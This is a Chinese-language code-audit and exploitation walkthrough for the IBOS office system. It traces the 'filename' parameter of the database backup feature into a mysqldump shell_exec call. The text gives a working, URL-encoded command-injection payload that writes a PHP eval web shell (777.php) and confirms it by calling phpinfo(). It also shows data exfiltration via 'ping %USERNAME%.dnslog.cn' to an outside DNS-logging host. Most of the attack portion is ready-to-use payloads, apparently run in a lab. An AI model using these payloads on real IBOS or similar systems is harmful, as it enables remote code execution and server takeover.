2.对源代码进行SeayDzend解密
因为在我们打开文件时会有一部分会出现代码是乱码的情况
C:\Users\gaolitao\IBOS\WWW\system\defines
因此我们需要在该源代码的基础上进行解密,这样才能更好的进行代码审计
这里正确填写Zend5.3的加密方式对其进行解密
将解密后的代码放入C:\Users\gaolitao\Desktop\newibos中
点击开始进行解密
当显示解密完成且出现newibos的文件夹时证明已经解密成功
点击newibos文件查找刚刚出现乱码的文件进行验证
发现乱码变成了正常代码,说明解密成功
3.代码审计
将解密后的代码放入代码审计工具中进行代码审计
进入代码审计页面并添加newibos项目
点击全局搜索
输入system(
发现没有漏洞
输入exec(
发现存在漏洞,然后根据ID一个一个进行排查
ID=1
发现curl_setopt_array — 为 cURL 传输会话批量设置选项不是我们需要的可控变量
ID=2
这里出现了shell_exec() — 通过 shell 执行命令并将完整的输出以字符串的方式返回
貌似可以,继续读代码找到可以控制的变量
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
这里的变量有$mysqlBin,$db, $file可能可控
继续分析
$mysqlBin
这里的mysqlBin 是从数据库查询出来的值不可控
$db
由这里可知$db是config.php里面的数据库配置的值,不可控
$file
这里urldecode — 解码已编码的 URL 字符串,不可控
在这里我们发现了shell_exec(存在三个变量,我们可以以此为出发点全局搜索shell_exec(
4.全局搜索shell_exec(
发现ID=1已经查找过了,剩下一个ID=2
ID=2
观察代码
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
这里出现了mysqldump这是MySQL自带的备份工具
命令格式如下
mysqldump [选项] 数据库名 [表名] > 脚本名
或
mysqldump [选项] --数据库名 [选项 表名] > 脚本名
或
mysqldump [选项] --all-databases [选项] > 脚本名
这里猜测后台会出现数据库备份功能
、
根据路径进行查找
真找到了数据库备份
这里可控的变量就有可能在这里面
最后一个参数$dumpFile就是脚本名,就是最后导出的文件名
追溯来源
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;
$backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);
$fileName = core\utils\Env::getRequest(“filename”);
这里可以看出$dumpFile 是与$fileName有关,且是与getRequest(“filename”)有关
5.用burp抓包
这里出现了filename
放包之后
在C:\Users\gaolitao\IBOS\WWW\data\backup中查到了我们刚刚提交的数据库
因此我们可以从这里入手插入一个一句话木马
6.插入一句话木马
111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111
抓包
修改这里进行放包
放包后
再次点击提交
创建成功
这里查看真多了一个777.php文件
7.访问777.php
http://192.168.251.134/777.php?8=phpinfo();
发访问成功
8.一句话木马如何加密
111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111
(1)首先用dnslog进行尝试
尝试进入终端cmd然后进行尝试ping,如果能ping通那么就证明是可以使用dnslog
ping s8ammk.dnslog.cn
尝试使用 ping %USERNAME%.dnslog.cn
这里的USERNAM表示的是系统变量用户名
%USERNAME%表示外载数据
输入set可以查看内置的系统变量
这里可以调用PATHEXT里面的.
使用echo %PATHEXT%可以查看其里面的内容
使用echo %PATHEXT:~0,1%
获取.
这里的~0,1就是表示输出第一个字符
因此这里先写入一句话木马
111&”<?php eval($_REQUEST[8]) ?>”>shel%PATHEXT:~0,1%php&111
进行url编码
111%26%E2%80%9D%3C%3Fphp%20eval(%24_REQUEST%5B8%5D)%20%3F%3E%E2%80%9D%3Eshel%25PATHEXT%3A~0%2C1%25php%26111
将url编码后的代码写入到抓的burp包中